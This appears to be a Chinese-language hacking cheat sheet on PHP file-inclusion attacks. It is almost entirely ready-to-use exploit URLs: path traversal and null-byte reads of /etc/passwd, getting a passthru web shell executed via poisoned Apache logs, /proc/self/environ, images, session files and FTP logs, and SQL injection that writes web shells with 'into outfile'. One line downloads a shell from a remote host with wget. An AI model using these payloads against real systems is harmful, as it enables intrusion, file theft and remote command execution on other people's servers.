1、文件包含利用
通過傳遞本地或者遠程的文件(allow_url_fopen開啟)作為參數進行利用,可以讀取敏感信息、執行命令、GetWebshell.
例如
require($file);
Include($file);
Exploit:
//www.XXX.net/?file=/etc/passwd
Type of call:
require(“includes/”.$file);
Exploit:
//www.XXX.net/?file=../../../../../etc/passwd
Tpye of calls:
require(“languages/”.$lang.”.php”);
require(“themes/”.$theme.”/config.php”);
Exploit:
//www.XXX.net/?file=../../../../../etc/passwd%00
Type of call:
require(“languages/”.$_COOKIE['lang'].”.php”);
Exploit:
javascript:document.cookie = “lan=../../../../../etc/passwd%00″;
2、包含命令執行
當能夠把這句代碼<? passthru($_GET[cmd]) ?> 上傳到服務器,然後利用文件包含就可以。
利用方式1:將內容插入apache日誌裡面。
請求不存在的頁面://www.XXX.net/xxxxxxx=<? passthru($_GET[cmd]) ?>
然後按照前面的方式請求:
//www.XXX.net/?file=../../../var/apache/error_log&cmd=ls /etc
//www.XXX.net/?file=../../../var/apache/error_log&cmd=uname -a
如果不知道apache地址,可以利用包含已有的文件報錯來爆出當前位置,當然這個也得依靠不同的操作系統,apache默認地址不一樣。
另外可以通過枚舉進程表來定位apache日誌路徑。/proc/{PID}/fd/{FD_ID}
代碼(略)
pepelux:~$ perl proc.pl //www.XXX.net/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2
得到PID 和 FD_ID後就可以這麼構造。
//www.XXX.net/?file=/proc/4191/fd/2&cmd=uname -a
//www.XXX.net/index.php?x=<? passthru($_GET[cmd]) ?>
如果不成功,把<?轉為16進制。
不行的話還可以把段字符放在header字段裡面,比如說User-Agent、Referer
利用方式2:通過環境變量進行插入
/proc/self 指向最後一個PID使用的鏈接。
/proc/self/environ 是一個已知的路徑,但是一般用戶沒權限讀取。
在linux系統中,/proc/self是因為是個能寫的環境變量,而且位置是固定的。
利用的話先把利用代碼放在User-Agent進行提交,
然後請求://www.XXX.net/?file=../../../proc/self/environ&cmd=uname -a
沒看懂,一般權限應該不行。
利用方式3:將代碼插入到圖片中
講一句話添加到圖片中,然後上傳直接利用。
//www.XXX.net/?file=path/avatar.gif&cmd=uname -a
利用方式4:將代碼插入到session文件中
如果是通過session驗證的,並且知道session的字段。
//www.XXX.net/?user=<? passthru($_GET[cmd]) ?>
找session值(瀏覽器)和文件位置(一般/tmp/session值)。
然後直接包含。
利用方式5: 其他文件
其他日誌,FTP的話提交用戶名為<? passthru($_GET[cmd]) ?>
服務器版本較老的話,可以利用PUT方式提交代碼。
獲取shell:
//www.XXX.net/?file=xxxx&cmd=wget //devil/shell.txt -O shell.php
3、注入與文件包含
方式1:注入讀取關鍵文件
//www.XXX.net/?id=-1 UNION SELECT 1,2,3,load_file(‘/etc/passwd’);
magic_quotes開啟的話
//www.XXX.net/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);
方式2:先導出然後讀取
//www.XXX.net/?id=1 outfile “/tmp/sql.txt”
//www.XXX.net/?id=-1 UNION SELECT 1,2,3,load_file(‘/tmp/sql.txt’);
方式3:直接生成一句話
//www.XXX.net/?id=-1 union select 1,load_file(“/etc/passwd”),1 into outfile “/var/www/host.com/www/passwd”
//www.XXX.net/?id=-1 union select 1,”<?phpinfo()?>”,1 into outfile “/var/www/host.com/www/phpinfo.php”
如果目錄不能寫,可以先導出到tmp
//host/?id=-1 union select 1,”<? passthru($_GET[cmd]) ?>”,1,1 into outfile “/tmp/sql.txt”
//host/?file=../../../tmp/sql.txt&cmd=uname -a
補充說明:
1) php5.3.4以後已經修復了%00漏洞。
2) 參考文件中有幾個perl寫的小工具幫助利用。
3)LFI配合phpinfo獲取shell,參見LFI With PHPInfo Assistance.pdf